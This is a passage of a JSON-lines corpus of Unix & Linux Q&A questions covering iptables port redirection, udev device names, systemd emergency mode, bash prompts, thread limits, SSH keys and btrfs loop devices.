456-1-ins 245 (weaker) 457-2-Ri? I want it to return the numbers on the left (before the dash), but only for lines that contain a question mark. In other words, I want this to be the output: 407 408 408 418 420 429 430 431 436 444 457 Any suggestions would be amazingly helpful! Thank you!"} {"_id": "78532", "title": "Open and redirect port", "text": "I'm trying to set up SNMP for a router so I can monitor it from an existing Nagios installation on an off-site server. I'm having trouble getting the router to respond to SNMP requests from the WAN, despite trying a few different iptables rules. The router is a new ASUS RT-AC66U, running AsusWRT 3.0.0.4.270.26 (Merlin build). I was very recently and unfortunately forced to switch to Comcast as an ISP, and they say that they block port 161 and 162 across the network. In light of that, I'm trying to redirect 1610 to 161. I currently have port forwarding set up for my NAS, 1611->161, and SNMP works just fine there. The first thing I tried was setting up a port forwarding rule from 1610->127.0.0.1:161 (UDP), which didn't seem to work: [ssube@centos-server ~]$ snmpwalk -v 2c -c [name] [ip]:1610 Timeout: No Response from [ip]:1610 [ssube@centos-server ~]$ snmpwalk -v 2c -c [name] [ip]:1611 SNMPv2-MIB::sysDescr.0 = STRING: Linux Triton 2.6.32.12 #2668 Tue Dec 11 12:36:30 CST 2012 armv5tel SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10 The NAS rule is working just fine, as you can see above. Removing the NAS rule and replacing 1610 with 1611 in all the router rules didn't seem to help. The error message (no response) has been consistent regardless of what I try. My second attempt was to go through iptables itself. I set up the following rules: boss@RT-AC66U:/jffs/scripts# cat firewall-start #!/bin/sh iptables -I INPUT 1 -p udp --dport 1610 -j ACCEPT boss@RT-AC66U:/jffs/scripts# cat nat-start #!/bin/sh iptables -t nat -A PREROUTING -p udp --dport 1610 -j REDIRECT --to-port 161 From within the LAN, I can see the router just fine: ssube@KRAKEN /c/Program Files/ConEmu > snmpwalk -v 2c -c [name] 192.168.1.1:1610 SNMPv2-MIB::sysDescr.0 = STRING: Linux RT-AC66U 2.6.22.19 #1 Sun Mar 17 17:16:27 EDT 2013 mips SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10 However, I still can't see it from outside of the LAN, with or without the INPUT chain rule. Both rules appear in iptables: boss@RT-AC66U:/tmp/home/root# iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination ..... ACCEPT udp -- anywhere anywhere udp dpt:1610 (listed before any DROP rules, after a few unrelated ACCEPTs) boss@RT-AC66U:/jffs/scripts# iptables -t nat -L Chain PREROUTING (policy ACCEPT) target prot opt source destination VSERVER all -- anywhere [ip].comcast.net REDIRECT udp -- anywhere anywhere udp dpt:1610 redir ports 161 Still, no luck on external SNMP. I've tried tcpdump to see if the packets are making it in at all, but running tcpdump on the router seems to kick me off wifi within a few seconds, and I haven't had a chance to plug into the router and run it there yet (will edit with updates when I do). The scripts seem to be working, since the rules appear. I suspect the issue is with the rules, but am having a hard time pinning it down, and have yet to get a response on the firmware message board."} {"_id": "108192", "title": "How to restrict directory name creation to pattern?", "text": "I have FreeNas `CIFS` share. Mount command result: /dev/ufs/VSPHERE on /mnt/VSPHERE (ufs, NFS exported, local, soft-updates, nfsv4acls) I want to restrict users from creating directories that do not fit to pattern: `YYYY-MM-DD` (year-month-day). Users are using Windows to access CIFS share from network on `\\\\\\freenas\\cifs\\`. They see `\\\\\\freenas\\` in network places. They go to `\\CIFS\\foo\\` directory, then they can create any directory they want. That's is the problem. They should have create directory that meets `YYYY-MM-DD` pattern. Users don't need to login to access this share, it's using FreeBSD `ftp:nogroup` account so I can apply restriction to that user in FreeBSD directly (FreeNas)?"} {"_id": "71003", "title": "How to make any file and put contents in that using script", "text": "I want to modify `configure.sh` to create a file `/etc/pam.d/XXX` with some predefined content. How can I do this by putting the file's absolute path and content in configure.sh? Please explain the syntax."} {"_id": "147024", "title": "Command to 're-apply' previous command?", "text": "Is there an easy way to re-apply a previous command to a new command line entry? Say I typed in `chmod u+r,g+x file.txt` but forgot the sudo. Could I simply type `sudo `'? Pardon for the possible noob question."} {"_id": "108190", "title": "USB device to be detected at the \"same\" /dev point always?", "text": "In Linux _(actually I'm with CentOS v6.5)_ , whenever I plug in my `USB Terminal/Character Device` _(some kind of USB Adapter)_ for the first time (after booted), it is detected at: /dev/ttyUSB0 But whenever I plug it OUT and IN again, it is again detected at: /dev/ttyUSB1 The one and only same device. That is making me problem with some configurations in my Applications. * Meaning that sometime i am (i need to) plugging IN and OUT in **runtime**. How do I make such USB Device _(which is first ever detected)_ to be **always** detected at `/dev/ttyUSB0` (At \" _Zero_ \" or whatever **always** at the **same** number.)"} {"_id": "147023", "title": "How to pipe a remote file to stdout over scp or sftp?", "text": "Using ssh, it is easy to print the contents of a file using ssh host 'cat file.txt' When ssh is disabled, and only SFTP is enabled, running the previous command gives the following error: > This service allows sftp connections only. To work-around this issue, I could create a temporary file using `scp` or `sshfs` (as shown below), but that looks really ugly. What is the proper way to print the contents of a remote file when SSH is disabled? mkdir tmpdir sshfs host: tmpdir cat tmpdir/file.txt fusermount -u tmpdir # This does not work! scp -v host:file.txt . shows # \"Sink: This service allows sftp connections only.\" scp host:file.txt . cat file.txt rm file.txt"} {"_id": "89044", "title": "LD_PRELOAD or similar to prevent network access", "text": "I'd like to start a program disconnected from the network (because immediately upon starting it tries to download huge amounts of data, which can be prevented by changing settings as soon as it settles down). However, I really don't want to actually _bring the network down_ for this one program. Is there some LD_PRELOAD or similar to give the program the impression that the network is down? I'd rather not create a virtual machine."} {"_id": "89045", "title": "File permissions and saving", "text": "Let's say you open a file on which you have write permission. Meanwhile you change permissions and remove write permission while you still have the file open in some editor. What will happen if you edit and save it?"} {"_id": "108197", "title": "How to force systemd enter in emergency mode?", "text": "I'm using Opensuse 12.3. systemd-195-13.45.1.x86_64 After few problems when I added a disc at btrfs mount I'm trying put my system in emergency mode (which I consider all services will be stopped and all mounts able to be unmounted),. But they just don't work!!! **How to force systemd enter in emergency mode?** (or something equivalent of init single mode) and force the emergency mode at boot time(grub menu)? **First attempt:** I use the old way : `init 1` at the console... They show me the emergency screen , ask for root password, but after this re- login, I still unable to unmount my btrfs FS (says it are in use). (with lsof I don't found anything using this mounts). The `runlevel` command return level 3... not 1... **Second attempt:** I run the command `systemctl emergency` which show me the \"emergency screen\" , ask for root password... and then finally show me runlevel = 1 . But I'm still not able to umount my btrfs FS.... **Third attempt:** I reboot the machine and at grub screen I type 'e' to add the \"emergency\" word at the options. Where they give me a message like \"emergency word is invalid\". I try with \"single\" word and get the same behave.... * * * My final solution was remove the automatically mount from fstab and reboot my system at normal mode. Then finally I able to run my check at btrfs Fs... but is very annoying because all services which depends this mount start give errors..."} {"_id": "89048", "title": "How to test if command is alias, function or binary?", "text": "I have command `foo`, how can I know if it's binary, a function or alias?"} {"_id": "147028", "title": "Get OpenSSL FIPS Module Version Number", "text": "Is there a way for a user to determine _what version_ of the FIPS module was compiled into OpenSSL? When I say \"as user\", I mean is there some functionality buried in the command line interface to get this information. I know that I can tell that the FIPS module was built-in using the following: # openssl version OpenSSL 1.0.1g-fips 7 April 2014 But what I really want to know is the value of `FIPS_MODULE_VERSION_TEXT`, which, in my case, would be 2.0.6."} {"_id": "71007", "title": "How to customize PS1 properly?", "text": "I customized my bash with this in my bashrc export PS1=\"\\e[0;36m\\h\\e[m \\e[0;33m\\w/\\e[m \\e[0;31m\\n\\$ \u2192\\e[m \" So I get something like this (with colors) : Ahuri ~/Public/ $ \u2192 But I am having problems with long commands. When I write a very long command that is longer than a line it starts overwriting my first line Example : Ahuri ~/Public/ $ \u2192 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If I continue to add \"^\" I get: Ahuri ~/Public/ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ my \"$ \u2192\" is overwritten, and then the whole line gets overwritten."} {"_id": "85938", "title": "Grep a string from file", "text": "I have 5 filenames created inside a folder for one operation.The filenames are in the following format. ES_currentdate_currenttime_processid_uniqueid.log I want to read the status from the latest created file in that path. The way I form the filename in shell script is: $ filename=ES_*_uniqueid.log $ echo grep \"##status##XRB##\" $HOME/log/$filename | sort -u` \" When I `grep` it reads the status from all 5 files and echoes it. I want the string to be `grep` only from the latest file that got created. Could some one provide a solution?"} {"_id": "85939", "title": "What is the pipe character \"x|y)\" in the case statement?", "text": "In a script `/etc/network/if-up.d/avahi-autoipd` in my system, I find statements like this: case \"$ADDRFAM\" in inet|NetworkManager) ;; *) exit 0 esac case \"$METHOD\" in static|dhcp|NetworkManager) ;; *) exit 0 esac The pipe character `|` seems like the logic \"or\", but I can't find this rule in the guide. I can only find `|` used as the command pipe and the \"bitwise or\" for the arithmetic integer. Can anyone tell me what's the usage in this case?"} {"_id": "85936", "title": "Debugging iptables using live packet views", "text": "Are there any CLI or GUI functions that I can use to monitor hits to `iptables` and watch as packets interact with `iptables`?"} {"_id": "91890", "title": "Keep running program requiring X server after logging off of ssh session", "text": "I have a python script that periodically generates a png image, and puts it on a server that I can access through a browser. The image displays the progress of a job I am running on the server. I'm using matplotlib to generate the images. The python script goes to sleep after generating each image. After an hour, it wakes up, generates a new image, and then goes back to sleep. I start the script over an ssh session. When I log off, the script gets killed. I've read the other threads covering this problem, but the proposed solutions do not work. The script is killed after I log off, even if I run it with nohup script.py &> job-monitor.log & or if I run it like this script.py [Ctrl-Z] disown -h %1 bg 1 The strange thing is, when I log off and log back in, the script is no longer running, and job-monitor.log is empty. What could be happening, and how do I get the script to continue running after I log off? Additional information: I think the problem has to do with the plotting library I'm using, matplotlib. I think it may require an X session to produce a png, even though the graphic is just being saved to disk."} {"_id": "85934", "title": "Why am I getting \"no boot disk has been detected\" after installing Linux?", "text": "After installing a Linux distro (Fedora 19, to be exact) on a Windows 8 machine I got the message: > No boot disk has been detected or the disk has failed. What did I do wrong?"} {"_id": "47591", "title": "Twinview: 2 monitors difference resolutions with NVIDIA", "text": "I'm successfully using twinview to drive 2 monitors for my home theatre computer (one in the case, one projector). I recently upgraded my projector and now the two screens have vastly different resolutions (1920x1200, 848x400). As a result twinview is forcing me to use very little of my projector resolution (scaling up a fuzzy image), OR, overdrive the little screen until is shuts off with \"OUT OF RANGE\" message but have a great projector image. I would like to drive the projector at full resolution, and have the (nvidia) driver/X scale this same image down to 848x400 for my small screen. Is this possible? I'm running Centos 6.3 x64 with X."} {"_id": "85932", "title": "How can I redirect outbound traffic to port 80 using iptables locally?", "text": "I'm trying to locally redirect ports on my Ubuntu machine using `iptables`. Similar to transparent proxying. I want to catch anything trying to leave my system on port 80 and redirect it to a remote host and port. Can I achieve this using the NAT and pre-routing functions of `iptables`?"} {"_id": "47597", "title": "How to add a path to system $PATH for all users's non-login shell for debian", "text": "After installing some programs in `/opt/xxx/bin`, I want to add `/opt/xxx/bin` to system `$PATH` for all users's non-login shell. What should I do?"} {"_id": "41708", "title": "I cannot install new packages: \"Could not get lock /var/lib/dpkg/lock\"", "text": "I am new to Linux (installed Ubuntu for the first time yesterday), and have never dealt with any unix-based OS. I started using Linux for the sole purpose of collaborating code with my partners via git. I first needed to install jdk/jre. However, when i tried to install it, like so: ben@ubuntu:~$ sudo apt-get install openjdk-7-jre-headless I got this message: E: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable) E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it? I cannot get git to install either, so I don't think it is a problem with the specific package I selected. Can someone explain what that error means, and how to deal with it? Any help is greatly appreciated."} {"_id": "47595", "title": "Linux max threads count", "text": "my server has been running with Amazon Ec2 linux. I have a mongodb server inside. The mongodb server has been running under heavily load, and, unhappily , I've ran into a problem with it :/ As known, the mongodb creates new thread for every client connection, and this worked fine before. I don't know why, but MongoDB can't create more than 975 connections on the host as a non-privileged user ( it runs under a mongod user) . But when I'm running it as a root user, it can handle up to 20000 connections(mongodb internal limit). But, further investigations show, that problem isn't the MongoDB server, but a linux itself. I've found a simple program, which checks max connections number: /* compile with: gcc -lpthread -o thread-limit thread-limit.c */ /* originally from: http://www.volano.com/linuxnotes.html */ #include #include #include #include #include #define MAX_THREADS 100000 #define PTHREAD_STACK_MIN 1*1024*1024*1024 int i; void run(void) { sleep(60 * 60); } int main(int argc, char *argv[]) { int rc = 0; pthread_t thread[MAX_THREADS]; pthread_attr_t thread_attr; pthread_attr_init(&thread_attr); pthread_attr_setstacksize(&thread_attr, PTHREAD_STACK_MIN); printf(\"Creating threads ...\\n\"); for (i = 0; i < MAX_THREADS && rc == 0; i++) { rc = pthread_create(&(thread[i]), &thread_attr, (void *) &run, NULL); if (rc == 0) { pthread_detach(thread[i]); if ((i + 1) % 100 == 0) printf(\"%i threads so far ...\\n\", i + 1); } else { printf(\"Failed with return code %i creating thread %i (%s).\\n\", rc, i + 1, strerror(rc)); // can we allocate memory? char *block = NULL; block = malloc(65545); if(block == NULL) printf(\"Malloc failed too :( \\n\"); else printf(\"Malloc worked, hmmm\\n\"); } } sleep(60*60); // ctrl+c to exit; makes it easier to see mem use exit(0); } And the sutuation is repeated again, as root user I can create around 32k threads, as non-privileged user(mongod or ec2-user ) around 1000 . This is an ulimit for root user: core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 59470 max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 60000 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) 1024 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited This is an ulimit for mongod user: core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 59470 max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 60000 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 1024 cpu time (seconds, -t) unlimited max user processes (-u) 1024 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited Kernel max threads: bash-4.1$ cat /proc/sys/kernel/threads-max 118940 SELinux is disabled. Don't know how to solve this strange problem...Possibly, somebody does?"} {"_id": "125794", "title": "How do I make an ISO copy of a DVD movie?", "text": "I want to make backups of data and video DVDs, without recompressing or altering them. I just want an ISO that I can mount to act as if I inserted the DVD (this includes video DVDs). I had previously used K9copy 2.3.6, which seemed to work fine except that every other DVD would have no sound when mounted and played like a DVD. I've now installed `dvdrip` but it seems more aimed at producing compressed video files with an interface that's somewhat more complicated than necessary for what I'm trying to do. I tried using `dd` but it just comes up with a `disc not readable` result or something similar, even thought the disc is fine."} {"_id": "91110", "title": "Is there a central repository of SSH keys on a system? Does SSH keygen put the private key in that location?", "text": "I just generated a public and private key with ssh key gen. I uploaded the public key onto a gitlab (basically a clone of git hub) system for my university and got an email saying that I successfully uploaded the key. When I try to run a git clone command, I get Cloning into 'csci6990-hci-f13'... ssh_exchange_identification: Connection closed by remote host fatal: The remote end hung up unexpectedly I am trying to understand if I did everything properly before blaming the git lab system. With that said, when I uploaded a public key onto git lab there were no instructions/steps for telling gitlab where the private key resides in on my mac os x. This makes me think that maybe sshkeygen automatically puts the key into some kind of standard repository location? Is that the case? If not, then how can I upload a public key and have it work without telling the remote system where the corresponging private key sits within the file system? Edit: this is the output of ssh -vvv OpenSSH_5.6p1, OpenSSL 0.9.8r 8 Feb 2011 debug1: Reading configuration data /etc/ssh_config debug1: Applying options for * debug2: ssh_connect: needpriv 0 debug1: Connecting to gitlab.cs.uno.edu [137.30.120.92] port 22. debug1: Connection established. debug1: identity file /Users/abramhandler/.ssh/id_rsa type -1 debug1: identity file /Users/abramhandler/.ssh/id_rsa-cert type -1 debug1: identity file /Users/abramhandler/.ssh/id_dsa type -1 debug1: identity file /Users/abramhandler/.ssh/id_dsa-cert type -1 ssh_exchange_identification: Connection closed by remote host"} {"_id": "137344", "title": "Get device with major number 0 (btrfs subvolume)", "text": "When I stat a file on a btrfs subvolume I get a major device number of `0`. Is there a reliable way to find the mount point of this device, without knowing in advance it is a btrfs subvolume? e.g. I'd like to be able to do this in python: >>> st = os.stat('a file') >>> os.major(st.st_dev) 0 >>> os.minor(st.st_dev) 38 >>> os.path.exists('/sys/dev/block/0:38') False >>> magic_method_that_gets_mount_point(0, 38) '/home' >>> magic_method_that_gets_mount_point(8, 1) '/boot' (in my case `sda1`(`/sys/dev/block/8:1`) is mounted on `/boot`, and `/home` is a btrfs subvolume of `sda2`). # Edit I'd need to be able to do this without knowing the path of the file. Above I used `os.stat` as an example however the information is actually retrieved from an `ioctl` call to a loop device which returns: struct loop_info64 { uint64_t lo_device; uint64_t lo_inode; uint64_t lo_rdevice; uint64_t lo_offset; uint64_t lo_sizelimit; uint32_t lo_number; uint32_t lo_encrypt_type; uint32_t lo_encrypt_key_size; uint32_t lo_flags; uint8_t lo_file_name[64]; uint8_t lo_crypt_name[64]; uint8_t lo_encrypt_key[32]; uint64_t lo_init[2]; }; There is the field `lo_file_name` however it has a max length of 63 chars so cannot be relied open. I am also aware of `/sys/block/loopX/loop/backing_file`, however this is only available in Linux >= 2.6.37 and my code needs to run on CentOS 6 (2.6.32). # Edit #2 My ultimate goal here is to be able to find the backing file for a loop device reliably. Even util-linux does not do this on kernels < 2.6.37, e.g. > dd if=/dev/urandom bs=4096 count=256 of=/root/a_really_really_really_really_really_really_really_long_file_name.img 256+0 records in 256+0 records out 1048576 bytes (1.0 MB) copied, 0.137397 s, 7.6 MB/s > LD=`losetup -f --show /root/a_really_really_really_really_really_really_really_long_file_name.img` > losetup $LD /dev/loop1: [fd00]:922372 (/root/a_really_really_really_really_really_really_really_long_*) Notice that the filename is truncated, this is because util-linux uses the `loop_info64` struct which has a 63 char limit on the `lo_file_name` field. What I can get reliably is the device ID and the inode number of the backing file. This is where I hit a wall, as the backing file is stored on a btrfs subvolume."} {"_id": "137346", "title": "Generation of UUID1 is too slow", "text": "I upgraded my Ubuntu box from 13.04 to 14.04 LTS few days ago. Now I'm using libuuid-2.20.1. Anyway, after the upgrading, my UUID1 became very slow. $ time uuidgen -t f22c36aa-f511-11e3-9437-080027e59ea0 uuidgen -t 0.71s user 0.67s system 99% cpu 1.387 total $ time uuidgen -t fea4537c-f511-11e3-a6d5-080027e59ea0 uuidgen -t 0.72s user 0.67s system 99% cpu 1.394 total 0.7 seconds elapsed in `uuidgen -t`. What can make it slow? -- updated -- Here's my `w` result: $ w 09:48:55 up 5 days, 22:56, 3 users, load average: 0.37, 0.43, 0.43 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT sub :0 :0 Wed10 ?xdm? 2days 22.69s init --user --state-fd 41 --re sub pts/26 sub.local Wed18 16:47 17.00s 10.07s vim -b -b test/test_item.py sub pts/27 sub.local Wed18 7.00s 8.63s 0.02s w"} {"_id": "137347", "title": "zsh's \"echo SomeText >> **/filename\" in other shells", "text": "I need to fill all files with a specific filename (recursively) with a text. In zsh this can be done with echo SomeText > **/TheFileName I search generic solutions for sh-compatible and/or tcsh shells. Is there a shorter/easier way than the following command? find . -name \"TheFileName\" -print0 | xargs -0 sed -n -i -e '1c\\nSomeText'"} {"_id": "137341", "title": "Failure to startx on Ubuntu 14.04 after security update - missing libXfont.so.1", "text": "I had Ubuntu 14.04 running perfectly on my system and then it underwent a recommended security update. I let it update while I was at work and when I returned I found a black screen stating, \"No init found\" and \"mount: mounting /dev/mapper/ubuntu-root on /root failed: Invalid argument\". I followed some guides and ran the following commands: ls /dev/sd* sudo apt-get install lvm2 sudo pvscan sudo vgscan sudo vgchange -a y ubuntu-vg sudo fsck /dev/ubuntu-vg/root After running those commands and rebooting, my Linux system was back up and running again; however, not quite like it was before. It starts up into command line mode (without GUI) and asks for my username and password. When I log in and try \"startx\" I get the following: user@home-pc:~$ startx xauth: timeout in locking authority file /home/user/.Xauthority xauth: timeout in locking authority file /home/user/.Xauthority /usr/bin/X: error while loading shared libraries: libXfont.so.1: cannot open shared object file: No such file or directory xinit: giving up xinit: unable to connect to X server: Connection refused xinit: server error xauth: timeout in locking authority file /home/user/.Xauthority user@home-pc:~$ I get the same message when I try \"sudo startx\". I believe this error is due to the symbolic link that is used to identify the \"libXfont.so.1\" file, but I don't know how to fix this problem. I already tried running \"sudo apt-get update && sudo-apt-get dist-upgrade\" in hopes that this would fix or finish the upgrade and/or installing of the security update, but this didn't fix the problem. Does anyone have any idea on what is going on or how I can fix this?"} {"_id": "83198", "title": "How batch mv files to folders created and named by modification date?", "text": "I am quite new to the terminal stuff and I just couldn't find any answer on the aforementioned subject. On my OS X, I have a folder with about 4000 pics that I'd like to move into folders that are named according to the modification date (not creation date) of the files. How can I accomplish this using the terminal?"} {"_id": "83196", "title": "Resize partitions with gparted", "text": "Hey I'm trying to resize my boot partition and eventually my LVM partition. I currently have: /dev/sda1 ext2 243M /dev/sda2 extended 7.76G unallocated 17G Ideally I'd like: /dev/sda1 ext2 7.2G /dev/sda2 extended 17.76G My main problem is my `/` that is too small and I can't install anything anymore. I tried to resize `/dev/sda1` but the max size is the current one. As I understand it, I need to move the `unallocated space` next to `/dev/sda1` but Gparted doesn't let me. Any ideas? ![enter image description here](http://i.stack.imgur.com/qme9r.png)"} {"_id": "83193", "title": "Which fonts preinstalled on Linux are the same as that on Windows 7+?", "text": "Which fonts are common in default Linux and Windows installation? Are there any? Do these operating systems share any identical fonts? Or all fonts are different and there are no common fonts in default?"} {"_id": "83191", "title": "How to make `sudo` preserve $PATH?", "text": "I need to run a program installed on /opt/godi/sbin (a custom directory). If I add that directory to my PATH, by adding the following line to my .bashrc file export PATH=$PATH:/opt/godi/bin:/opt/godi/sbin then I can try to run the command just fine (except that it fails because it needs sudo). However, when I try to use sudo: sudo godi_console I get the following error sudo: godi_console: command not found Inspecting the PATH variable after using sudo reveals that its not including the same PATH I have as a normal user: $ sudo sh # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin Why is the PATH not the same? Am I doing something wrong? I'm on Debian Jessie and unfortunately I cannot get around the issue by passing sudo the the absolute link to godi_console because godi_console itself also depends on the PATH being correctly set."} {"_id": "136434", "title": "Mounting windows share using mount -t cifs", "text": "All, I have a SUSE SLES 11 box running samba. I am running this command: mount -t cifs //ip/dir1/dir2 /mnt/backups -o username=user,password=pwd,domain=domain Which works and mounts the drive properly. I can access all contents of dir2 via ls /mnt/backups Now I use used umount /mnt/backups, and try to access a directory deeper... mount -t cifs //ip/dir1/dir2/dir3 /mnt/backups -o username=user,password=pwd,domain=domain The command does not return any errors, but when I type _ls /mnt/backups_ , I get /bin/ls: /mnt/backups: No such file or directory The permissions on all folders in the directory are fine. When I am able to mount dir2, I can navigate to the dir3 using ls. However, I cannot mount dir3. Is there a restriction on how deep you can go (as far as directories)?"} {"_id": "136437", "title": "Can I install libXcomposite.so without the root permission?", "text": "I got this error when I execute dropbox on CentOS. > ImportError: libXcomposite.so.1: cannot open shared object file: No such > file or directory I don't have a root account. Output of `uname -a`: > Linux version 2.6.18-308.24.1.el5 (mockbuild@builder17.centos.org) (gcc > version 4.1.2 20080704 (Red Hat 4.1.2-52)) #1 SMP Tue Dec 4 17:43:34 EST > 2012"} {"_id": "47044", "title": "is there something like a per-user daemon?", "text": "I need to run some background processes that live as long as I am logged in with a certain user. Does there exist something like a per-user daemon? I know only of global daemons that live from computer startup 'till shutdown (or manual startup/kill). for now I made a script that checks if the process already exists and creates the process if it doesn't. This script is then run with the `nohup` command from my `.profile`. This way the process launches on startup, and is only launched once (even with multiple `rxvt` terms coming and going). Yet, it never gets killed after I log (which isn't a disaster but it is cleaner to also terminate the process)."} {"_id": "47075", "title": "Reorder fields/characters with cut command", "text": "> **Possible Duplicate:** > Combining 2 different cut outputs in a single command? I have One file - temp.txt - which contains ABCDF PQRST LMNOP I tried this `cut` command $ cut -c 2-5 temp.txt BCDF QRST MNOP output is right. $ cut -c 1,2,3,4 temp.txt ABCD PQRS LMNO output is right. But when I change sequence, meaning $ cut -c 2-4,1 temp.txt ABCD PQRS LMNO above output displayed. but logically output is BCDA QRSP MNOL so my question is how this happen ,any reason behind that."} {"_id": "136439", "title": "Is it safe to pipe the stdout of A to B in parallel", "text": "I'm running `A file | B --params > file.txt`. Since I want to accelerate the processing speed, I used the `parallel -j+0< a.txt` to run 20 jobs concurrently. a.txt contains all the commands: A file1 | B --params > file1.txt A file2 | B --params > file2.txt A fileN | B --params > fileN.txt Is this way safe? Will the stdout from different programs be messed when running in parallel?"} {"_id": "136438", "title": "can I make a vagrant multi machine vm depend on another", "text": "So we have a database vm that we always want to start, we also have a vm that works for a distributed configuration, that we only want to start when we're testing that. My problem is I want the database vm to start if it's not when I'm starting the distributed vm ... config.vm.define \"oracle\", primary: true do |oracle| ... config.vm.define \"distributed\", autostart: false do |distributed| ... so when I do `vagrant up` that should just start `oracle`, but when I do `vagrant up distributed` that should start `oracle` and `distributed`. right now the latter just starts `distributed`."} {"_id": "91899", "title": "How do I recover from \"chown -R myuser /usr\" on OSX?", "text": "I installed git and ruby 2.0 using homebrew then terminal immediately stopped working. On opening, it gives me the following error: login(89809,0x7fff7bac5960) malloc: *** error for object 0x7fc7cb500b40: pointer being freed was not allocated *** set a breakpoint in malloc_error_break to debug [Process completed] Before that I ran a 'chown' on everything under /usr to a non root user"} {"_id": "87471", "title": "Iptables and Port Scanning and Recent module", "text": "I'm trying to write an adaptive firewall using iptables, and am not clear on how the recent module is working. For example, see http://blog.zioup.org/2008/iptables_recent/ Snippet from my iptables: ...input stuff, established, etc... -A INPUT -m conntrack --ctstate NEW -j limiter ... more input stuff... # very end of chain, nothing matches. Likely unauthorized port -A INPUT -m conntrack --ctstate NEW -m recent --name PORTSCAN --set # limiter table -A limiter -m recent --update --name PORTSCAN -A limiter -m recent --rcheck --name PORTSCAN --hitcount 10 --seconds 300 -j LOG This setup works. Watching /proc/net/xt_recent/PORTSCAN, running nmap on a closed port adds my ip, and then trying to connect to, say, port 80 (which is open) updates the list. Additionally, if I connect to just open ports, I am not added to the list. My question is, when I try to combine the two lines in the limiter table into one, it no longer works. #-A limiter -m recent --update --name PORTSCAN #-A limiter -m recent --rcheck --name PORTSCAN --hitcount 10 --seconds 300 -j LOG -A limiter -m recent --update --name PORTSCAN --hitcount 10 --seconds 300 -j LOG Scanning an open port after a closed one does not update the list (although if the limit of 10 packets/300 secs is overrun, it is logged). My understanding was that the update line would be equivalent to the other two. Why not?"} {"_id": "109747", "title": "identify files with non-ASCII or non-printable characters in file name", "text": "In a directory size 80GB with approx 700,000 files, there are some file names with non-English characters in the file name. Other than trawling through the file list laboriously is there: * An easy way to list or otherwise identify these file names? * A way to generate printable non-English language characters - those characters that are not listed in the printable range of `man ascii` (so I can test that these files are being identified)?"} {"_id": "109741", "title": "Bash script to delete a file called index.html recursively", "text": "I need a bash script (not sure how to write the actual .sh file) which I could set to be run by cron every minute and that would delete files with the name `index.html` that are in a specific directory and its subdirectories. I believe that the following command will do that. However, I need to write it as a script file which I could then have executed via cron. `find /path/to/directory -name \"index.html\" -print0 | xargs -0 rm -rf` The `/path/to/directory` would be relative to the server root. My two questions are, do I need a trailing `/` at the end of the path and how do I write the bash script file for example in a file called `deleteindexes.sh`. I am assuming that I would need to set the file as an executable using `chmod a+x deleteindexes.sh` As regards setting the `cron` command, that is not a problem for me."} {"_id": "87474", "title": "How do I create an RPM package that would fail a YUM transaction if certain creteria are met", "text": "I'm trying to package a product consisting of many packages. I'm successful with writing all the spec files, the dependencies between the packages and so on. They're all installed and work fine. The one thing I do not succeed to do, is to run a pre-requisition test: In certain cases, I would like the packages not to be installed at all, and the user getting an error, explaining him what he needs to fix first, before he runs the packages installation. For example: I want to verify that the user is running in runlevel 3, and if not, abort the whole installation, and ask the user to re-install CentOS in \"Minimal\" profile - as I don't want all the extra packages that comes with \"Desktop\". (This is just an example, I have a few such tests to perform). The way I approached this problem is this: I've created a sort of 'meta package', that its name appears in all the other packages 'Requires:' directive, so it would be installed first by YUM, and in that package spec file, in the `%pre` section, I did the various tests I wanted to perform, outputting test errors when applicable, and then '`exit 1`'. The reason I chose this approach is this: \"If every package depends on this package, and this package cannot be installed, the transaction must fail, as soon as the package manager wants to install a package that depends on a package that failed installation... after all, the dependency has not been met\". In Gentoo, for example, if a package fails installation, for whatever reason, emerge stops completely - even not for dependency issues; And there's a special flag to tell emerge to continue despite the error returned from one of the packages. The problem is that indeed the package fails when the tests fails (RPM specifically says that it returned code 1), BUT... YUM doesn't really seem to care that this happens - and just continues to install everything else, including packages that depend on a package that is not installed (!). At the very end, it simply reports that all the packages were installed successfully, expect for the package that deliberately failed... I'm guessing that the reason for that is that dependency checking happens before the transaction begins, and indeed, dependencies are met from the various repositories at YUM's disposal. Still, it does not make any sense to me that if a dependency eventually failed, the installation of dependent packages would continue. Is my logic flawed? I doubt it's a bug, as someone would have encountered it by now (this is on CentOS 6.3 if it matters...) - but all my Google-foo yielded nothing. I didn't even find someone asking the same question... maybe I'm using the wrong keywords? Am I approaching this wrong way? Any other idea (that fits into RPM specs or other YUM repository magic, even at the YUM .repo file... - but all contained within the YUM infrastructure, without external scripts to run before 'yum install') - would be greatly appreciated!"} {"_id": "109749", "title": "Tunnels to the same port number", "text": "I have an application that connects to several hosts on the same port: a.protected:123 b.protected:123 I don't have direct access to either of them, but I can make a ssh tunnel (through `x.accessible`). Should the ports have been distinct, I could have make the tunnel to the same port number: ssh -f me@x.accessible -L 123:a.protected:123 -N And then I would have added a.protected as an alias to localhost, in `/etc/hosts` But given that more hosts use the same port number, what are my options? How can I use tunnels to get the application to connect to them, without changing the application?"} {"_id": "109748", "title": "Desktop launchers not getting scanned by Gnome", "text": "I'm running Fedora 20 on my notebook, and recently I removed some of the Gnome session startup apps which (I believe this was 